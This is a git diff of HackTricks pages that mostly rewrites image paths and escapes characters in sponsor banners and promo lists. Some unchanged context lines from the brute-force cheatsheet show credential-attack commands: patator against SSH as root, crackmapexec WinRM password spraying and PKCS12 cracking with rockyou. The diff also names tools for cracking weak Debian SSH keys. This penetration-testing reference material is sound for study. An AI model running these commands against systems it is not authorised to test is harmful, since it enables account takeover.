 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -47,7 +47,7 @@ There are also several Python packages for working with the PDF file format, lik
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md

@@ -26,7 +26,7 @@ One important security-related note about password-protected zip files is that t
 
 Another note about zip cracking is that if you have an unencrypted/uncompressed copy of any one of the files that are compressed in the encrypted zip, you can perform a "plaintext attack" and crack the zip, as [detailed here](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files), and explained in [this paper](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). The newer scheme for password-protecting zip files (with AES-256, rather than "ZipCrypto") does not have this weakness.
 
-From: [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](http://127.0.0.1:5000/s/-L\_2uGJGU7AVNRcqRvEi/)
+From: [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](http://127.0.0.1:5000/o/Iwnw24TnSs9D9I2OtTKX/s/-L\_2uGJGU7AVNRcqRvEi/)
 
 <details>
 

generic-methodologies-and-resources/brute-force.md

@@ -1,6 +1,6 @@
 # Brute Force - CheatSheet
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -15,8 +15,8 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -106,10 +106,10 @@ Finished in 0.920s.
 * [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
 * [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -422,6 +422,7 @@ patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FIL
 ```
 
 #### Weak SSH keys / Debian predictable PRNG
+
 Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
 
 ### SQL Server
@@ -465,10 +466,10 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
 crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -667,10 +668,10 @@ zip -r file.xls .
 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -823,15 +824,15 @@ Cracking Common Application Hashes
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

generic-methodologies-and-resources/python/README.md

@@ -7,12 +7,12 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -28,7 +28,7 @@ Get Access Today:
 * [**Basic python web requests syntax**](web-requests.md)
 * [**Basic python syntax and libraries**](basic-python.md)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -43,9 +43,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
-
-

generic-methodologies-and-resources/python/venv.md

@@ -7,12 +7,12 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -39,7 +39,7 @@ pip3 install wheel
 inside the virtual environment
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -47,7 +47,6 @@ Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
 
-
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
@@ -55,7 +54,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

generic-methodologies-and-resources/python/web-requests.md

@@ -7,12 +7,12 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -20,7 +20,6 @@ Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
 
-
 ## Python Requests
 
 ```python
@@ -120,7 +119,7 @@ term = Terminal()
 term.cmdloop()
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -128,7 +127,6 @@ Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
 
-
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
@@ -136,7 +134,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

generic-methodologies-and-resources/search-exploits.md

@@ -7,12 +7,12 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -62,7 +62,7 @@ You can also search in vulners database: [https://vulners.com/](https://vulners.
 
 This searches for exploits in other databases: [https://sploitus.com/](https://sploitus.com)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -77,9 +77,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
-
-

linux-hardening/privilege-escalation/docker-security/README.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -20,7 +20,6 @@ Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
 
-
 ## **Basic Docker Engine Security**
 
 Docker engine does the heavy lifting of running and managing Containers. Docker engine uses Linux kernel features like **Namespaces** and **Cgroups** to provide basic **isolation** across Containers. It also uses features like **Capabilities dropping**, **Seccomp**, **SELinux/AppArmor to achieve a better isolation**.
@@ -138,7 +137,7 @@ When I changed Docker host, I had to move the root keys and repository keys to o
 
 ***
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -451,7 +450,7 @@ If you have access to the docker socket or have access to a user in the **docker
